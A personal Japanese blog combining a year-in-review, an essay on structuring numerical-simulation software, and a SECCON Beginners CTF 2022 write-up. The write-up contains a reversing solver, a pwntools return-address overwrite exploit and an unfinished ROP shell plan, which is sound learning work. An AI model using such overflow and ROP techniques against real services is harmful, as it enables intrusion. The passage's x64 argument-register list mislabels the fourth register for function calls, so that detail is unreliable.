(あとバンナムフェス行った。リアルライブめちゃくちゃ久しぶりで楽しかったです。感覚ピエロのBtD忘れません)

6月

ネットワークに入門するために、とりあえず安いL3SW買った。
24ポートは普通に持て余してるのでなんか遊びたい任意のオタクは声かけてください。
ネットワーク入門もなんだけど、スイッチを分解して中を見てオシロとかで信号を見てみたい思いがあるので分解に関心があるオタクも声かけてください。

あと、はやぶさが持ち帰ったサンプルがあると聞いてISASに行ってきた。
サンプルはごく微量でルーペを通して見るようになっており、予備知識無しじゃただの砂にしか見えないが、かなりアクロバットなミッションシーケンスだと感じていたのもあって、これを持ち帰る過程に思いをはせてなんとなく感慨深くなった。

7月

カーネルハックに関心が沸いてきたので、とりあえずLinuxカーネルをビルドしてQEMUで動かしてみるなどしていた。(これも進めなきゃだな...)
(SUNRICH COLOURFUL1日目には行ったのですが、2日目に全員集合M@STERPIECEが来てて膝から崩れ落ちました。ショックでムビマスの円盤とマスピのCDとスタマス買いました)

8月

修論をjournalに出していたところacceptされた。
少し前からなんとなくその気配を感じていたので、7月半ばからは研究に使用していたソースコードをpublicリポジトリにすべく整備し始めていた。 「進捗>>コードの質」の思想の下3年熟成されたいきあたりばったりなコードなので完成度がかなり低く「ちゃんとやりたいなら1から書き直せこんなもん」状態だったが、「一応使っていたものと近い状態で残しとこうかな...」と思い結局入出力部だけ軽くメンテしただけになった。 どう考えても数値計算をソフトウェアの書き方とともに学ばないのは損失だと常々考えていたが、実際本格的にメンテしようとしたらすでに酷いことになっていたので(これは自業自得)、数値計算のソフトウェアを書くには事前に何を考えなければならないかを反省してブログにブチ上げた。動くコードと、数値計算ソフトウェアの作り方に対する私見を放出したのでやりきった感...。

もうひとつ、HTTPが基礎から何もわからんかったので、VMでプロキシを立ててHTTP/HTTPSの通信を中継させて、HTTPSの場合は内容が見られるように設定してみる、というのをやった。内部が見える仕組みを構築してみると理解が進むね...。

9月

MFTに初参戦。
めちゃくちゃ刺激になった。面白いと思ったものを書き連ねていくとキリがなくなるので書かないけど、「やっぱちゃんとモノ作りてぇよな」と思った。

あとここでSpresenseの革新周りの話を聞いた。月面ローバーも頑張ってください

10月

部屋のアップグレードのためのムーブに奔走(部屋はよく考えましょう)

11月

部屋のアップグレード完了

  • L字デスクになりました✌ (広くて快適、これで基板やらを広げても問題ない机上スペースを手に入れたので開発やっていこう!)

ちまちまやっていたrustlings完走しました(長い)

12月

机上スペースを手に入れたので開発やっていこう!

感染症で2週間オワオワリになっていました。(かなしい)

その他部屋のアップグレードに伴う小物の調達に奔走。暮らすって物入りね...(魔女並みの感想)

総評

色々見に行って刺激を受けたものの、何かモノとして成した物体がないので来年は何か完成させることを目標にしたいですね。
そのための環境の用意にも奔走したわけですし。

数値計算もソフトウェアシステムとして開発されていい

タイトルのとおりですが、自分がイカした数値計算システムをつくって公開したとかそういったことは全然なく、むしろ逆でまともなアーキテクチャのシステムをつくることができなかったために発生した苦労との闘いと「ああすればまだマシかもしれない」をしたためた感想文を書くことにしました。ツールを使った場合は感想文を書けるほどの経験がないので、フルスクラッチしていて保守性の悪いコードを書いてしまったときの体験の悪さでも残しておこうと思います(「こうすればよかった」的な振り返りも考えましたが未だ完全な実装に至っていない部分もあり、そういうのは「ぼくのかんがえたさいきょうのシステム」程度の戯言なので、これを見た方は無視しましょう。数値計算プログラムを書き始めたときにソフトウェアエンジニアリングに関する知識がゼロだったので、色々失敗も書きますが優しく見守ってください m( _ _)m)

数値計算を行う手順

システムとして開発されていいなどと言う前に、私が書いていた数値計算プログラムはどんなつくりをしているのかというところからまとめます(ちなみに私が経験があるのは流体の数値計算です)。数値計算といっても様々な種類があるわけですが、力学の問題を数値的に解くいわゆる計算力学では、何らかの支配方程式を解くためのソルバがあるというのが一般的かと思います。例えば、研究室などでははじめに「自分で書いてみてよ」とか言われると思いますが、さぁ論文や教科書を片手にコードを書くゾイとなる前に、一度ここで数値計算をするプログラムがどんな作りになっているのかを把握したほうが後々幸せになれます。文献片手にプログラムを書けはしますが、振り返ってみると、これをやって良いのは「一次元で格子数が決まっている場合」「再現実装等で書き捨ててよい場合」くらいな気がするんですよね。というのも、汎用性などを考えると数値計算プログラムというのはデカイ金槌1個ですべてを蹂躙しようというモチベーションでは片付けにくい面倒な手続きがあるからです。下が数値計算を行うプログラムの構造と処理の大体の流れかなと思います。

支配方程式をソルバに解かせる前に、解きたい問題の初期条件は何か、境界条件はどうなっているのか、空間・あるいは物体の形状はどのようなものであるのかを指定する必要があります。1次元なら物理量を保存する配列1個でガシャガシャやっても初期条件や境界条件の扱いにも困ることはないでしょうし、結果の出力や後処理もソルバプログラムに追記する形で扱って特に問題はないはず。ただし、2次元以上になると、(x,y)や(x,y,z)で格子数を決めて、面や立体として形状を定めなければならず、初期条件や境界条件にもバリエーションが増えます。形状も解く問題によって様々なものが登場し始め、1次元のソルバでは問題にすらならなかったメッシングも手間暇がかかるようになるので、外部に切り離したくなります。さらに、2次元以上になると現象の概要を掴むためにParaviewなどで可視化したい、とか、特定の部分だけで分布をみたい、とか結果の分析に関するユースケースも爆増します。そのために、多様な後処理用のプログラムを外部にもっておくほうが分かりやすくなるので、後処理部分は切り離します。これを一連の流れに数値計算プログラムは成り立ち、結果として使う情報というのは上の図で一番右に出てくる後処理後のファイルなので結果を得るのはまぁまぁな苦労です。

プログラムや成果を管理する上での苦悩

さて、こういう構造になってしまう数値計算のプログラムは当然複雑になるし、入出力をはじめとして細々とした面倒事に関しては枚挙に暇がありません。ここでは主に面倒事として感じていたことをまとめていきます。

ソルバ実装上の面倒なところ

  • 条件のバリエーション
    まずは初期条件や境界条件、メッシュのバリエーション、そして「〇〇な問題を解くには△△なソルバがいいよ」と言った具合にソルバの選択にもバリエーションが生じる場合もあると思います。多数の選択肢がある条件を、内部の制御をポチポチやりながら切り替えていくのはかなりダルいですが、資料片手にノリで書き始めたプログラムを改修していくようなやり方を取るとこれをやってしまいがちなんですね。(私も友人氏も後輩氏も先輩氏も条件に応じて多数の処理をベタ書きし、コメントをつけたり外したりするやつをやっておりました)。しかし、「さすがに怠すぎる」と思う頃にはもうプログラムの骨組みはでき上がっており、イチから構造を見直すとなると「いや結果速く出さないと...」みたいになり、抜本的な作り直しもできず...といった負のスパイラルは早くもここで完成します。私は悪あがきでコマンドライン引数に計算条件の名称を入れ、それを元に大枠の条件設定が分岐するように変更しました。しかし、カッチリした条件だけで計算するはずもなく同じ形状のメッシュでも格子数が違う、とか、少しだけ初期条件に変える、とか細かい変更があるので、コメントつけたり外したりを完全に消去することはできませんでした...。

  • 速さが足りないッ!!
    これは別に速い言語がどうこうを主張したいわけではなく、処理に使うデータ構造で工夫できる点があるならやったほうがいいということです。愚直にロジックを書くよりも性能が出るデータ構造やアルゴリズムがきっとあるはずと思うことが第一歩。賢くないロジックを書けばどんな言語でも遅くなると思いますし、言語は設計の悪さを改善してくれはしないので、ここでは特に言語に関する言及はしません。

  • コーディングスタンダードをよく考えたい
    これは私だけかもしれないですが、物理量に関してはどんな切り方をしても全てののサブルーチンで参照するといっても過言ではないくらいなので、グローバルな扱いの方が逆にいいのではと思うことは結構ありました。私は知識のない状態からコードを書いていたので、何が起きるかわからないことへの恐れから意地でローカル変数にしましたが、プログラムの全体が把握できるようになるとグローバル変数で扱っても悪くない気がします(小話ですが、そこまで条件のバリエーションが多くない計算をやっていた友人氏は「分けてもどうせどのルーチンでも扱うし、1個のファイルで見られる方が良くない?」と1つのプログラムファイルに全ての処理を書くという方法をとっていました。パワープレイすぎる)。グローバル変数は一般には忌み嫌われる存在ですが有用と思われる部分もあるように、数値計算をする上でのコーディングスタンダードを考えたいと思っていました。

    • 言語仕様で多少の違いはあるでしょうが、例えばFortranならmodule, C系だとstructとかをグローバルに準ずる存在にしておくのもよかったかもしれないです
  • テストがダルい
    マジでひたすらにダルい(嗚咽)、うまく動かないときはかなりの確率で難解なデバッグが実装者の身に降りかかります。そもそも設定条件に様々なものがある上、時間を刻んで計算を何ステップも繰り返して進行させるため、どの部分が一番怪しいのかは経験則に頼る部分が大きくなります(経験が浅いときにソルバの実装がうまくいかず、初回ステップのソルバの計算過程を全部手計算したときはさすがに虚無過ぎた)。しかし、それもソルバに問題がなければ意味がなく、条件設定やメッシュの方を疑うことになります。私の経験では他にもこんな感じのがありました。見ていればなんとなくわかると思いますが、可視化して確認とか、グラフ書くとか、確認のために必要な作業で最もコストがかかる上に肝心なところが自動化できなさそうなのが厄介ポイントです。

    初期条件の設定ミス
       境界付近が怪しげな値になるのをたまにやる。最初に空間全域の設定値を出力したりしてなんとか特定する。
    境界条件の実装ミス
       2次元以上になると最初にミスりがち。単純なメッシュと単純な初期条件を使って境界条件の計算結果を確認したりする。
    ソルバの実装ミス
       テスト問題を解いて理論解や文献と照らし合わせてグラフ書いて合ってるか確認したりする。
    メッシュが悪い
       後輩氏が発散しまくるので何事かとメッシュを可視化してこまかーくみていくと不必要にギザギザな形をした部分があり、擾乱がここから発生していた 。

計算結果の管理で面倒なところ

  • メタデータが多い
    数値計算の結果は、それを分析するデータを生成する後処理に必要な情報や、分析自体に必要な情報も結構あります。似たような計算をたくさんこなすこともあり、ファイルの管理も大事。計算結果の管理に必要な情報をパッと思いつく限り上げてみると...

    1. 初期条件
    2. 境界条件
    3. 問題の概要(問題には名前がついていたりするので、問題の名称とかで良いとは思う)
    4. 使用したメッシュとその格子数
    5. ソルバの計算結果のファイル名

こんな感じでしょうか。計算条件は言わずもがな、あと使用したメッシュなどが、後処理の入力となる計算結果のファイルと共に紐付けて記録しておかないと、違うファイルを参照して後処理するなどのミスが起きやすくなります。個人的にはディレクトリ構成でなんとか管理するやり方はまずいと思いました。あとから深くなっていくし、計算条件の変更に対して柔軟でなかったです。

  • ファイル同士の関係性を把握する必要がある
    前項と関連する話で、後処理をして分析対象となるファイルには前項に列挙したような情報を紐付けておくのは結果の管理において必要なコストだと思います。そういった関連性を記述する実装がなされていてもいい。具体例を上げるとParaviewで可視化するためにvtkファイルを作りたいみたいな場合ですね。可視化するためのファイルを使うには「どんな形状の空間(物体)で」「どんな物理量の分布をしているか」の情報が必要なので、物理量を吐いたファイルと、使用したメッシュを対応させて後処理しなければなりません。対応しないファイル同士で後処理なんかして再現性のない結果を成果と勘違いしたりするとまずいわけです。

ソルバもソフトウェアエンジニアリングの知見のもとに書くほうがいい(ので、どうすればマシになったか考えるの部)

そんなこんなで、苦労した点をつらつらと書いてみましたが、これを解決するヒントはソルバが一生懸命解いている力学や数学の分野よりは、ソフトウェアとかシステムとかそういった分野の知見にあるというのが本記事の趣旨です。こんなデカいシステムをつくるなら、(当時聞いても概念だけではいまいちよくわからなかったとは思うので意味があるかはさておき)KISS、DRY、YAGNI、SLAPといった原則は知られてもいいはず。こういった概念をどう形にするかはまた別の話だし、「数値計算システムを設計するためのデザインパターンが載っている本とかあるのか...?」って感じなので数値計算屋さんは体験向上のためにも一層ソフトウェアに気持ちを入れて設計を考える必要があると思うわけです(というかこの手の知見がある人はもっと共有してほしい)。一般的なアーキテクチャを考えるのは自分より理解のある人がいるでしょうし、私の場合はどんな考え方、つくりに頼ればよかったのかということを振り返ります。

開発について

プログラムを書く
似たような実装になるものの細かい点が異なる条件設定系の話はソフトウェア的にはポリモーフィズムと呼ばれる実装で解決できそうですし。早さの出るデータ構造も情報系の分野にヒントがあるでしょう。数値計算におけるコーディングスタンダードはちょっと具体的には思いつきませんがそれこそプログラミングの原則をブレークダウンして定めるとかでしょうか。

開発体制とか
ソルバの検証フローの策定はしておくべきでした。まず、初期条件の設定チェックくらいはテストが書けると思います。最終的な計算結果も理論解などと誤差なくピッタリ結果が出るテスト問題を選べば「相対誤差を計算して○%以下ならパス」というテストなどがギリ書けるかと思います(書ける、というだけで是非は怪しいです)。正直、グラフや可視化が検証に必要な時点でテストの全自動化は厳しそうな気がするので、テスト問題の初期条件などを設定する機能を内部に用意して、可視化用ファイルやグラフ化用ファイルをコマンド一発で吐いてくれる仕組みをつくっておくまでが妥協点だったかと思います(と思ったので、ここはMakefileを使ってやりました)。
また、「ソルバの検証だけしたいのに条件設定のルーチンと依存関係にある。問題を解いて検証するにはソルバだけ切り離した実装は難しいが、今うまく動いてるものに検証中のものを入れたくない」と思うこともあるわけですが、これはもうgit使って検証用branch切ればいいだけです。他にも変更履歴を書いておけるなど、gitを使う恩恵は計り知れないものがあります。GitHubやGitLabなりを使って開発して、かんたんな値チェック程度はCI/CDに組み込んで、新たな機能を実装する場合はbranchを切る、開発フローを整理してツールを導入するだけである程度の問題が解消されそうです(さすがにGitを使った開発は行いましたがCI/CDまではやっていませんでした)。

計算結果の管理について

最近、計算結果を管理するためにソルバは計算結果とともにメタデータを出力にする実装にして、メタデータを元に計算結果のファイルと実行可能な後処理を一覧するビューを生成し、行いたい後処理と後処理したい計算結果を選択すればメタデータを読んで計算結果と紐付けて後処理に渡すフロントエンドがあって、後処理はバックエンドのような形で実装すればよかったのではと思いました(まぁ本筋でないことにここまで気合を入れるのもどうかと思うので、趣味の域になってきますが)。何にせよ、計算結果の適切な管理のためにメタデータを書いたファイルはほしいですし、結果の出力時に一緒に吐いておくと良さそうだと思ったので最近JSONメタデータを吐くように変更しました(この程度なら複雑な構造にならないし)。 あとは、入力側もconfigファイルみたいなものを用意して、それを食わせることで初期条件や使用する境界条件が設定すると言った形の実装が良かったんじゃないかと思います(OpenFOAMはこんな感じだった気がする)。ファイルで入力してファイルで結果を管理する、といった設計にはしたかったですね。内部ロジックのコメントアウトポチポチで処理をわける制御はもうやりとうない...。
(例) 結果を出力するときはなんかこんな感じのファイルも一緒に吐く

{
   "XGridNum" : "100",
   "YGridNum" : "100",
   "MeshFile" : "Mesh1.txt",
   "ResultFile:" : "Result1.txt",
   "InflowVelocity:" : "1.0",
   "Outbound:" : "FreeOutFlow",
}

後処理自体はソルバ回すのに比べれば軽い処理の方が多いだろうから、後処理に関する一連の流れは機能がリッチめな言語で実装するのもいいかもです。少なくともFortranで後処理までモリモリやる必要はないわけです(←やった人)。やりたい後処理とそれにつかう結果のファイルを選んでポチッとしたらシュッと結果が出てくるくらいにすれば、「数値計算用のプログラム」としてこれらを全部書いていたときよりもまともな運用ができるはず。設計の基本は役割や責任の分担。どこで役割を分け、どこを別の要素として切り出すべきか、どうやって連携させるのかを「数値計算用のプログラム」というくくりでなく、「数値計算で現象を分析するシステム」くらいの規模感で考えられると良かったです。
最後に余談ですが、スパコンなどを使うこともあり、計算機をまたいだ結果のやりとりなども発生します。こういうのもサーバを建てるという発想になってシステムを作ろうとするかどうかで体験が変わるよなぁと思います。

感想

あとからソフトウェアに関する知識をつけてツールや考え方を取り入れたりして悪あがきはしてみたものの、結局私も抜本的にシステムレベルのものを再構築するには至りませんでした。冒頭で書いたように、力技でソルバを検証して確認が済み、「早く結果を出さないと」と思いはじめたそのときにはもう負のスパイラルは完成しており、イチからつくるには多大な労力と時間をもっていかれます(こういう話も技術者の間ではポピュラーな話だと思います)。そうは言っても、結局使うのは計算結果なわけで、コストのかかる改修を気持ちを入れてイチからやるだけのインセンティブってそんなになかったりします。「情報系でないから」と言わず、数値計算もプログラムを使って行う以上はソフトウェアシステムを構築するための知見が共有されて、開発フローが整っている状態から開発を始める環境はもはや当然のものとして存在していいレベルだとは思うのですが、捉え方によるところもあるでしょう。この記事では私が苦労したところと、悪あがきの内容、振り返ってどうしたらよいか考えたことをできる限り具体的な内容にしたつもりなので、気持ちが出せる人に届けばいいなと思います。
数値計算はそもそも後処理で分析してからが本番なので、「数値計算用のプログラム」は結果を出すためだけのライブラリとしてシステムのコンポーネントレベルの存在であるほうが望ましいと思うようになりました。そうなると、ライブラリになるような実装をするためのインターフェースの設計があるだろうし、プログラムの書き方はだいぶ変わるんじゃないでしょうか。数値計算もそれ用のソフトウェアシステムとして、もっと俯瞰的な設計をしてもいいじゃない。

CTF訂正帳①

SECCON beginners CTF2022に参加したので、そのことを書いていきます。

主旨

CTFを解く時、あとから振り返ると「なんでここできたんだ?」みたいになりがちで一生ワナビーみたいな気分がして悔しいので、問題を見たときに何を考えていたのか、その考えの何が間違っていたのかを記録して復習することにしました。そこでwriteupというよりは考える過程を記録して復習の材料にしたり、アンチパターンにしたいと思います(テストの訂正ノートのようなものです)。考えていたことをいちいち書き起こしているのでやや冗長になっています。なお、自分が関心のあるジャンルはreverseとpwnでこれらの問題を中心に解いたので、cryptoとwebについては記載しておりません。

取り組んだ問題

Quiz(Reversing)(振り返りの余地がないので割愛)
Recursive(Reversing)
beginnersBof(Pwnable)
raindrop(Pwnable)

reversing

Recursive

突然フラグを聞かれて回答して間違ってるぞと言われます(それはそう)。まずは内部でどんな処理をしているのか追っていきます。まずはghidraでデコンパイルして概要を掴みます。mainでフラグの入力を要求されたあとはcheck関数に入り、checkは再帰的に呼び出されることがわかりました。ちなみにGhidraによるcheck関数のデコンパイル結果はこちら

undefined8 check(char *param_1,int param_2)

{
  int iVar1;
  int iVar2;
  int iVar3;
  size_t sVar4;
  char *pcVar5;
  
  sVar4 = strlen(param_1);
  iVar3 = (int)sVar4;
  if (iVar3 == 1) {
    if (table[param_2] != *param_1) {
      return 1;
    }
  }
  else {
    iVar1 = iVar3 / 2;
    pcVar5 = (char *)malloc((long)iVar1);
    strncpy(pcVar5,param_1,(long)iVar1);
    iVar2 = check(pcVar5,param_2);
    if (iVar2 == 1) {
      return 1;
    }
    pcVar5 = (char *)malloc((long)(iVar3 - iVar1));
    strncpy(pcVar5,param_1 + iVar1,(long)(iVar3 - iVar1));
    iVar3 = check(pcVar5,iVar1 * iVar1 + param_2);
    if (iVar3 == 1) {
      return 1;
    }
  }
  return 0;
}

また、checkの戻り値が1だとincorrectになることがわかるので、そうならないための条件を探します。この様子では最終的にtable[param2] == *param1であれば0を返してくれそうです。しかし、そもそもフラグを出力してくれそうな処理が一つもありません。ここで、「何らかの方法でこのバイナリファイルの中にあるtable[param2]の内容を読み出しさえすればいいのでは」という方針が立ちます。ではGDBで解析していきます。最初に考えたのはcheck関数とif(table[param2] == *param1)の判定を行うところにブレークポイントを張って実行し、レジスタ値などを書き換えながら実行を進め、incorrectにならないようにtableの内容を読み出していくという方法です。 ここで少し脇道にそれますが、checkに入ったところでディスアセンブルしてcheck関数の中身を見ると、tableのアドレスが書いてあります。

(gdb) disas
Dump of assembler code for function check:
   0x0000555555555280 <+0>:   endbr64 
   0x0000555555555284 <+4>:   push   rbp
   0x0000555555555285 <+5>:   mov    rbp,rsp
   0x0000555555555288 <+8>:   sub    rsp,0x30
   0x000055555555528c <+12>:  mov    QWORD PTR [rbp-0x28],rdi
   0x0000555555555290 <+16>:  mov    DWORD PTR [rbp-0x2c],esi
   0x0000555555555293 <+19>:  mov    rax,QWORD PTR [rbp-0x28]
   0x0000555555555297 <+23>:  mov    rdi,rax
   0x000055555555529a <+26>:  call   0x5555555550d0 <strlen@plt>
   0x000055555555529f <+31>:  mov    DWORD PTR [rbp-0x1c],eax
   0x00005555555552a2 <+34>:  cmp    DWORD PTR [rbp-0x1c],0x1
   0x00005555555552a6 <+38>:  jne    0x5555555552d1 <check+81>
   0x00005555555552a8 <+40>:  mov    eax,DWORD PTR [rbp-0x2c]
   0x00005555555552ab <+43>:  cdqe   
   0x00005555555552ad <+45>:  lea    rdx,[rip+0x2d6c]        # 0x555555558020 <table>

横着しようとしてここのデータの読み出しを実行してみたのですが、なんとなくフラグっぽい文字列が見えます。

(gdb) x/s 0x555555558020
0x555555558020 <table>:   "ct`*f4(+bc95\".81b{hmr3c/}r@:{&;514od*<h,n'dmxw?leg(yo)ne+j-{(`q/rr3|($0+5s.z{_ncaur${s1v5%!p)h!q't<=l@_8h93_woc4ld%>?cba<dagx|l<b/y,y`k-7{=;{&8,8u5$kkc}@7q@<tm03:&,f1vyb'8%dyl2(g?717q#u>fw()voo$6g):)_"...

ここでフラグっぽいが明確に違う文字列が出てくるのでcheck関数の再帰呼び出しと条件式について再考することになります。ここで何すればいいんだろう...となりましたが手か足は出していきます(gdbブレークポイントをむちゃくちゃ張って、レジスタを書き換えて処理を進める虚無作業など活動を多岐に渡る...。)すると、そもそもparam1はcharなので1文字ですから、文字列の中から毎回1文字ずつ取得して検証しているよねということが先程考えたgdbでいちいち条件分岐に使われる値を読み出していく作業をしているうちにわかりました(遅い)。では、「checkを再実装してif(table[param2] == *param1)のタイミングで1文字ずつ出力すればよい」という考えに至ります。tableの中から文字列が取得されることはわかっており、デコンパイルしてアルゴリズムもわかっていますからあとは書くだけです。tableの内容についてはghidraの出力結果をコピペしていらない部分をちまちま消しました。再実装にあたってghidraのデコンパイル結果と書き味が違う点は2点です。再実装はtableの中から正解の文字列を探すのが目的で、正解を出力させる行為なのでバリデーションの必要がありません。したがって、iVar3==1のときは文字の出力だけさせてif文を抜けます。すると勝手にreturn 0してくれるのでわざわざifブロックにreturn文も書きません、ここが1点目。もう1点はelse内で実行するcheck関数をif文に組み込んだ点です。5億年ぶりにpythonを書いたため非常に下手くそな書き方になってしまった感がありますが一応フラグが出力されます。

table = [0x63,    0x74, 0x60, 0x2a,  0x66,  0x34,  0x28,  0x2b,
0x62,  0x63,  0x39,  0x35,  0x22,  0x2e,  0x38,  0x31,
0x62,  0x7b,  0x68,  0x6d,  0x72,  0x33,  0x63,  0x2f,
0x7d,  0x72,  0x40,  0x3a,  0x7b,  0x26,  0x3b,  0x35,
0x31,  0x34,  0x6f,  0x64,  0x2a,  0x3c,  0x68,  0x2c,
0x6e,  0x27,  0x64,  0x6d,  0x78,  0x77,  0x3f,  0x6c,
0x65,  0x67,  0x28,  0x79,  0x6f,  0x29,  0x6e,  0x65,
0x2b,  0x6a,  0x2d,  0x7b,  0x28,  0x60,  0x71,  0x2f,
0x72,  0x72,  0x33,  0x7c,  0x28,  0x24,  0x30,  0x2b,
0x35,  0x73,  0x2e,  0x7a,  0x7b,  0x5f,  0x6e,  0x63,
0x61,  0x75,  0x72,  0x24,  0x7b,  0x73,  0x31,  0x76,
0x35,  0x25,  0x21,  0x70,  0x29,  0x68,  0x21,  0x71,
0x27,  0x74,  0x3c,  0x3d,  0x6c,  0x40,  0x5f,  0x38,
0x68,  0x39,  0x33,  0x5f,  0x77,  0x6f,  0x63,  0x34,
0x6c,  0x64,  0x25,  0x3e,  0x3f,  0x63,  0x62,  0x61,
0x3c,  0x64,  0x61,  0x67,  0x78,  0x7c,  0x6c,  0x3c,
0x62,  0x2f,  0x79,  0x2c,  0x79,  0x60,  0x6b,  0x2d,
0x37,  0x7b,  0x3d,  0x3b,  0x7b,  0x26,  0x38,  0x2c,
0x38,  0x75,  0x35,  0x24,  0x6b,  0x6b,  0x63,  0x7d,
0x40,  0x37,  0x71,  0x40,  0x3c,  0x74,  0x6d,  0x30,
0x33,  0x3a,  0x26,  0x2c,  0x66,  0x31,  0x76,  0x79,
0x62,  0x27,  0x38,  0x25,  0x64,  0x79,  0x6c,  0x32,
0x28,  0x67,  0x3f,  0x37,  0x31,  0x37,  0x71,  0x23,
0x75,  0x3e,  0x66,  0x77,  0x28,  0x29,  0x76,  0x6f,
0x6f,  0x24,  0x36,  0x67,  0x29,  0x3a,  0x29,  0x5f,
0x63,  0x5f,  0x2b,  0x38,  0x76,  0x2e,  0x67,  0x62,
0x6d,  0x28,  0x25,  0x24,  0x77,  0x28,  0x3c,  0x68,
0x3a,  0x31,  0x21,  0x63,  0x27,  0x72,  0x75,  0x76,
0x7d,  0x40,  0x33,  0x60,  0x79,  0x61,  0x21,  0x72,
0x35,  0x26,  0x3b,  0x35,  0x7a,  0x5f,  0x6f,  0x67,
0x6d,  0x30,  0x61,  0x39,  0x63,  0x32,  0x33,  0x73,
0x6d,  0x77,  0x2d,  0x2e,  0x69,  0x23,  0x7c,  0x77,
0x7b,  0x38,  0x6b,  0x65,  0x70,  0x66,  0x76,  0x77,
0x3a,  0x33,  0x7c,  0x33,  0x66,  0x35,  0x3c,  0x65,
0x40,  0x3a,  0x7d,  0x2a,  0x2c,  0x71,  0x3e,  0x73,
0x67,  0x21,  0x62,  0x64,  0x6b,  0x72,  0x30,  0x78,
0x37,  0x40,  0x3e,  0x68,  0x2f,  0x35,  0x2a,  0x68,
0x69,  0x3c,  0x37,  0x34,  0x39,  0x27,  0x7c,  0x7b,
0x29,  0x73,  0x6a,  0x31,  0x3b,  0x30,  0x2c,  0x24,
0x69,  0x67,  0x26,  0x76,  0x29,  0x3d,  0x74,  0x30,
0x66,  0x6e,  0x6b,  0x7c,  0x30,  0x33,  0x6a,  0x22,
0x7d,  0x37,  0x72,  0x7b,  0x7d,  0x74,  0x69,  0x7d,
0x3f,  0x5f,  0x3c,  0x73,  0x77,  0x78,  0x6a,  0x75,
0x31,  0x6b,  0x21,  0x6c,  0x26,  0x64,  0x62,  0x21,
0x6a,  0x3a,  0x7d,  0x21,  0x7a,  0x7d,  0x36,  0x2a,
0x60,  0x31,  0x5f,  0x7b,  0x66,  0x31,  0x73,  0x40,
0x33,  0x64,  0x2c,  0x76,  0x69,  0x6f,  0x34,  0x35,
0x3c,  0x5f,  0x34,  0x76,  0x63,  0x5f,  0x76,  0x33,
0x3e,  0x68,  0x75,  0x33,  0x3e,  0x2b,  0x62,  0x79,
0x76,  0x71,  0x23,  0x23,  0x40,  0x66,  0x2b,  0x29,
0x6c,  0x63,  0x39,  0x31,  0x77,  0x2b,  0x39,  0x69,
0x37,  0x23,  0x76,  0x3c,  0x72,  0x3b,  0x72,  0x72,
0x24,  0x75,  0x40,  0x28,  0x61,  0x74,  0x3e,  0x76,
0x6e,  0x3a,  0x37,  0x62,  0x60,  0x6a,  0x73,  0x6d,
0x67,  0x36,  0x6d,  0x79,  0x7b,  0x2b,  0x39,  0x6d,
0x5f,  0x2d,  0x72,  0x79,  0x70,  0x70,  0x5f,  0x75,
0x35,  0x6e,  0x2a,  0x36,  0x2e,  0x7d,  0x66,  0x38,
0x70,  0x70,  0x67,  0x3c,  0x6d,  0x2d,  0x26,  0x71,
0x71,  0x35,  0x6b,  0x33,  0x66,  0x3f,  0x3d,  0x75,
0x31,  0x7d,  0x6d,  0x5f,  0x3f,  0x6e,  0x39,  0x3c,
0x7c,  0x65,  0x74,  0x2a,  0x2d,  0x2f,  0x25,  0x66,
0x67,  0x68,  0x2e,  0x31,  0x6d,  0x28,  0x40,  0x5f,
0x33,  0x76,  0x66,  0x34,  0x69,  0x28,  0x6e,  0x29,
0x73,  0x32,  0x6a,  0x76,  0x67,  0x30,  0x6d,  0x34]
flagIdx = []
dummy = 'a'*0x26
flag = []

def check(param1, param2):
  global flag
  iVar3 = len(param1)
  if iVar3 == 1:
    flag.append(table[param2])
  else :
    iVar1 = int(iVar3/2)
    if not check(param1[:iVar1], param2):
      return False
    if not check(param1[iVar1:],iVar1 * iVar1 + param2):
      return False
  return True

check(dummy,0)

print("Result length: " + str(len(flag)))
answer = ""
for i in flag:
  hoge = i.to_bytes(2,'big')
  answer += hoge.decode('ASCII')
print("Flag: "+answer)

pwnable

beginnersBof

典型的なBOFです。まずは配布されたsrc.cから脆弱性っぽいものを探していきます。具体的には値をfgetsなどでコピーしているような処理です。すると29行目にfgetsがあります。さらに、ここには記載していませんがソースコード全体を読めばflag.txtをopenして内容をreadして出力するwin関数があります。

int main() { //src.c
    int len = 0;
    char buf[BUFSIZE] = {0};
    puts("How long is your name?");
    scanf("%d", &len);
    char c = getc(stdin);
    if (c != '\n')
        ungetc(c, stdin);
    puts("What's your name?");
    fgets(buf, len, stdin);
    printf("Hello %s", buf);
}

ここまでの情報で「"How long is your name" と聞かれたらスタックサイズを超える容量を指定し、nameの入力によりターンアドレスに該当する領域にwin関数のアドレスを書き込めばいけるはず」という方針が立ちます。となればやることは何バイト埋めればよいかの特定とwin関数のアドレスの特定です。gdbを立ち上げディスアセンブルします。

(gdb) disas
Dump of assembler code for function main
   0x0000000000401263 <+0>:     push   rbp
   0x0000000000401264 <+1>:     mov    rbp,rsp
   0x0000000000401267 <+4>:     sub    rsp,0x20

なんとなくスタックサイズが0x20っぽそうなので、rbpの大きさの0x8を足して、0x28 byteだけ埋めれば次はwin関数のアドレスを入れればリターンアドレスの書き換えができてwin関数を呼んでくれるはずという推測のもとできたプログラムがこちら。(ちなみに、ちゃんとやるならディスアセンブルの結果を見て、ダミーを書き込むbufの先頭アドレスを確認してからオフセットを計算するべきなはずです多分)

from pwn import *

binfile = './chall'
e = ELF(binfile)

#pc = connect('beginnersbof.quals.beginners.seccon.jp',9000)
pc = process("./chall")

pc.sendlineafter(b"name?\n",b"50")

payload = b'A'* 0x28
payload += p64(e.symbols["win"])

pc.sendlineafter(b"name?\n" ,payload)

pc.interactive()

raindrop

#define BUFF_SIZE 0x10

void help() {
    system("cat welcome.txt");
}

void show_stack(void *);
void vuln();

int main() {
    vuln();
}

void vuln() {
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    puts("You can earn points by submitting the contents of flag.txt");
    puts("Did you understand?") ;
    read(0, buf, 0x30);
    puts("bye!");
    show_stack(buf);
}

ROPですね。名前から自明なようですが脆弱性を含むのはvuln関数です。BUFF_SIZEが0x10であるのに対し、readで0x30読んでしまうという脆弱性を利用してスタックオーバーフローを狙いリターンアドレスを書き換えてシェルを狙います。rbpがあるので、リターンアドレス以降の0x18バイトを書き換えることができます。ROPでやりたいことはシェルを呼び出すように仕向けることです。そのためには"/bin/sh"を引数としてsystemやexecveなどを呼び出す必要があります。systemを呼び出す命令についてはhelp関数内でsystemが呼ばれていますね。gdbでdisas helpして0x00000000004011e5がその部分であることがわかります。そして、「引数を渡す」というのは、x64では以下のようにして行う必要があります。

  1. 第 1 引数 を rdi に設定
  2. 第 2 引数 を rsi に設定
  3. 第 3 引数 を rdx に設定
  4. 第 4 引数 を r10 に設定
  5. 第 5 引数 を r8 に設定
  6. 第 6 引数 を r9 に設定

